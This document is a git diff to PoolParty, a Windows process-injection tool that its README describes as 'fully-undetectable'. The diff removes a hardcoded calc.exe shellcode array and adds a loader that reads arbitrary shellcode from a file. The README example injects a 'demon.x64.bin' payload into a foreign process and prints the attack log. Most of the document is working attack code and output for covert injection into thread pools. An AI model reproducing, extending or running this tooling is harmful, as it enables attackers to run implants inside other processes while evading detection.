diff --git a/PoolParty/PoolParty.hpp b/PoolParty/PoolParty.hpp index c2f425f..a9a4114 100644 --- a/PoolParty/PoolParty.hpp +++ b/PoolParty/PoolParty.hpp @@ -33,12 +33,12 @@ namespace logging = boost::log; namespace keywords = boost::log::keywords; -typedef struct _POOL_PARTY_CMD_ARGS -{ - BOOL bDebugPrivilege; +typedef struct _POOL_PARTY_CMD_ARGS { int VariantId; int TargetPid; -} POOL_PARTY_CMD_ARGS, * PPOOL_PARTY_CMD_ARGS; + BOOL bDebugPrivilege; + std::string ShellcodeFilePath; +} POOL_PARTY_CMD_ARGS; class PoolParty { diff --git a/PoolParty/main.cpp b/PoolParty/main.cpp index bbb992d..2600668 100644 --- a/PoolParty/main.cpp +++ b/PoolParty/main.cpp @@ -1,29 +1,30 @@ #include "PoolParty.hpp" +#include -unsigned char g_Shellcode[] = -"\xE8\xBA\x00\x00\x00\x48\x8D\xB8\x9E\x00\x00\x00" -"\x48\x31\xC9\x65\x48\x8B\x41\x60\x48\x8B\x40\x18" -"\x48\x8B\x70\x20\x48\xAD\x48\x96\x48\xAD\x48\x8B" -"\x58\x20\x4D\x31\xC0\x44\x8B\x43\x3C\x4C\x89\xC2" -"\x48\x01\xDA\x44\x8B\x82\x88\x00\x00\x00\x49\x01" -"\xD8\x48\x31\xF6\x41\x8B\x70\x20\x48\x01\xDE\x48" -"\x31\xC9\x49\xB9\x47\x65\x74\x50\x72\x6F\x63\x41" -"\x48\xFF\xC1\x48\x31\xC0\x8B\x04\x8E\x48\x01\xD8" -"\x4C\x39\x08\x75\xEF\x48\x31\xF6\x41\x8B\x70\x24" -"\x48\x01\xDE\x66\x8B\x0C\x4E\x48\x31\xF6\x41\x8B" -"\x70\x1C\x48\x01\xDE\x48\x31\xD2\x8B\x14\x8E\x48" -"\x01\xDA\x49\x89\xD4\x48\xB9\x57\x69\x6E\x45\x78" -"\x65\x63\x00\x51\x48\x89\xE2\x48\x89\xD9\x48\x83" -"\xEC\x30\x41\xFF\xD4\x48\x83\xC4\x30\x48\x83\xC4" -"\x10\x48\x89\xC6\x48\x89\xF9\x48\x31\xD2\x48\xFF" -"\xC2\x48\x83\xEC\x20\xFF\xD6\xEB\xFE\x48\x8B\x04" -"\x24\xC3\C:\\Windows\\System32\\calc.exe\x00"; - -auto g_szShellcodeSize = sizeof(g_Shellcode); +bool ReadShellcodeFromFile(const std::string& path, std::unique_ptr& buffer, size_t& size) +{ + std::ifstream file(path, std::ios::binary | std::ios::ate); + if (!file) { + std::cerr << "[!] Failed to open shellcode file: " << path << std::endl; + return false; + } + + size = static_cast(file.tellg()); + buffer = std::make_unique(size); + + file.seekg(0, std::ios::beg); + if (!file.read(reinterpret_cast(buffer.get()), size)) { + std::cerr << "[!] Failed to read shellcode file: " << path << std::endl; + return false; + } + + BOOST_LOG_TRIVIAL(info) << "Loaded shellcode (" << size << " bytes) from: " << path; + return true; +} void PrintUsage() { - std::cout << "usage: PoolParty.exe -V -P " << std::endl << std::endl << + std::cout << "usage: PoolParty.exe -V -P -F " << std::endl << std::endl << "VARIANTS:" << std::endl << "------" << std::endl << std::endl << "#1: (WorkerFactoryStartRoutineOverwrite) " << std::endl << "\t+ Overwrite the start routine of the target worker factory" << std::endl << std::endl << @@ -36,12 +37,12 @@ void PrintUsage() "#8: (RemoteTpTimerInsertion) " << std::endl << "\t+ Insert TP_TIMER work item to the target process's thread pool" << std::endl << std::endl << std::endl << "EXAMPLES:" << std::endl << "------" << std::endl << std::endl << - "#1 RemoteTpWorkInsertion against pid 1234 " << std::endl << "\t>>PoolParty.exe -V 2 -P 1234" << std::endl << std::endl << - "#2 RemoteTpIoInsertion against pid 1234 with debug privileges" << std::endl << "\t>>PoolParty.exe -V 4 -P 1234 -D" << std::endl << std::endl; + "#1 RemoteTpWorkInsertion against pid 1234 " << std::endl << "\t>>PoolParty.exe -V 2 -P 1234 -F test.bin" << std::endl << std::endl << + "#2 RemoteTpIoInsertion against pid 1234 with debug privileges" << std::endl << "\t>>PoolParty.exe -V 4 -P 1234 -D -F test.bin" << std::endl << std::endl; } POOL_PARTY_CMD_ARGS ParseArgs(int argc, char** argv) { - if (argc < 5) { + if (argc < 7) { PrintUsage(); throw std::runtime_error("Too few arguments supplied "); } @@ -68,6 +69,10 @@ POOL_PARTY_CMD_ARGS ParseArgs(int argc, char** argv) { CmdArgs.bDebugPrivilege = TRUE; continue; } + if (CmdArg == "-F" || CmdArg == "--shellcode-file") { + CmdArgs.ShellcodeFilePath = args.at(++i); + continue; + } PrintUsage(); throw std::runtime_error((boost::format("Invalid option: %s") % CmdArg).str()); } @@ -75,26 +80,26 @@ POOL_PARTY_CMD_ARGS ParseArgs(int argc, char** argv) { return CmdArgs; } -std::unique_ptr PoolPartyFactory(int VariantId, int TargetPid) +std::unique_ptr PoolPartyFactory(int VariantId, int TargetPid, unsigned char* pShellcode, size_t ShellcodeSize) { switch (VariantId) { case 1: - return std::make_unique(TargetPid, g_Shellcode, g_szShellcodeSize); + return std::make_unique(TargetPid, pShellcode, ShellcodeSize); case 2: - return std::make_unique(TargetPid, g_Shellcode, g_szShellcodeSize); + return std::make_unique(TargetPid, pShellcode, ShellcodeSize); case 3: - return std::make_unique(TargetPid, g_Shellcode, g_szShellcodeSize); + return std::make_unique(TargetPid, pShellcode, ShellcodeSize); case 4: - return std::make_unique(TargetPid, g_Shellcode, g_szShellcodeSize); + return std::make_unique(TargetPid, pShellcode, ShellcodeSize); case 5: - return std::make_unique(TargetPid, g_Shellcode, g_szShellcodeSize); + return std::make_unique(TargetPid, pShellcode, ShellcodeSize); case 6: - return std::make_unique(TargetPid, g_Shellcode, g_szShellcodeSize); + return std::make_unique(TargetPid, pShellcode, ShellcodeSize); case 7: - return std::make_unique(TargetPid, g_Shellcode, g_szShellcodeSize); + return std::make_unique(TargetPid, pShellcode, ShellcodeSize); case 8: - return std::make_unique(TargetPid, g_Shellcode, g_szShellcodeSize); + return std::make_unique(TargetPid, pShellcode, ShellcodeSize); default: PrintUsage(); throw std::runtime_error("Invalid variant ID"); @@ -125,13 +130,25 @@ int main(int argc, char** argv) { const auto CmdArgs = ParseArgs(argc, argv); + std::unique_ptr shellcode; + size_t shellcodeSize = 0; + + if (!CmdArgs.ShellcodeFilePath.empty()) { + if (!ReadShellcodeFromFile(CmdArgs.ShellcodeFilePath, shellcode, shellcodeSize)) { + throw std::runtime_error("[-] Could not load shellcode from file."); + } + } + else { + throw std::runtime_error("[-] Shellcode file path must be provided with -F option."); + } + if (CmdArgs.bDebugPrivilege) { w_RtlAdjustPrivilege(SeDebugPrivilege, TRUE, FALSE); BOOST_LOG_TRIVIAL(info) << "Retrieved SeDebugPrivilege successfully"; } - const auto Injector = PoolPartyFactory(CmdArgs.VariantId, CmdArgs.TargetPid); + const auto Injector = PoolPartyFactory(CmdArgs.VariantId, CmdArgs.TargetPid, shellcode.get(), shellcodeSize); Injector->Inject(); } catch (const std::exception& ex) diff --git a/README.md b/README.md index c6d903f..e9d340c 100644 --- a/README.md +++ b/README.md @@ -17,36 +17,30 @@ A collection of fully-undetectable process injection techniques abusing Windows ## Usage ``` -PoolParty.exe -V -P +PoolParty.exe -V -P -F ``` ## Usage Examples -Insert TP_TIMER work item to process ID 1234 +Insert TP_WORK work item to process ID 43988 ``` ->> PoolParty.exe -V 8 -P 1234 - -[info] Starting PoolParty attack against process id: 1234 -[info] Retrieved handle to the target process: 00000000000000B8 -[info] Hijacked worker factory handle from the target process: 0000000000000058 -[info] Hijacked timer queue handle from the target process: 0000000000000054 -[info] Allocated shellcode memory in the target process: 00000281DBEF0000 +> .\PoolParty\x64\Release\PoolParty.exe -V 2 -P 43988 -F .\demon.x64.bin +[info] Loaded shellcode (290097 bytes) from: .\demon.x64.bin +[info] Starting PoolParty attack against process id: 43988 +[info] Retrieved handle to the target process: 000000000000005C +[info] Hijacked worker factory handle from the target process: 00000000000000BC +[info] Allocated shellcode memory in the target process: 000001A820F80000 [info] Written shellcode to the target process [info] Retrieved target worker factory basic information -[info] Created TP_TIMER structure associated with the shellcode -[info] Allocated TP_TIMER memory in the target process: 00000281DBF00000 -[info] Written the specially crafted TP_TIMER structure to the target process -[info] Modified the target process's TP_POOL tiemr queue list entry to point to the specially crafted TP_TIMER -[info] Set the timer queue to expire to trigger the dequeueing TppTimerQueueExpiration +[info] Read target process's TP_POOL structure into the current process +[info] Created TP_WORK structure associated with the shellcode +[info] Modified the TP_WORK structure to be associated with target process's TP_POOL +[info] Allocated TP_WORK memory in the target process: 000001A820FD0000 +[info] Written the specially crafted TP_WORK structure to the target process +[info] Modified the target process's TP_POOL task queue list entry to point to the specially crafted TP_WORK [info] PoolParty attack completed successfully - ``` -## Default Shellcode and Customization -The default shellcode spawns a calculator via the [WinExec API](https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-winexec). - -To customize the executable to execute, change the path in the end of the `g_Shellcode` variable present in the main.cpp file. - ## Author - Alon Leviev * LinkedIn - [Alon Leviev](https://il.linkedin.com/in/alonleviev) * Twitter - [@_0xDeku](https://twitter.com/_0xDeku)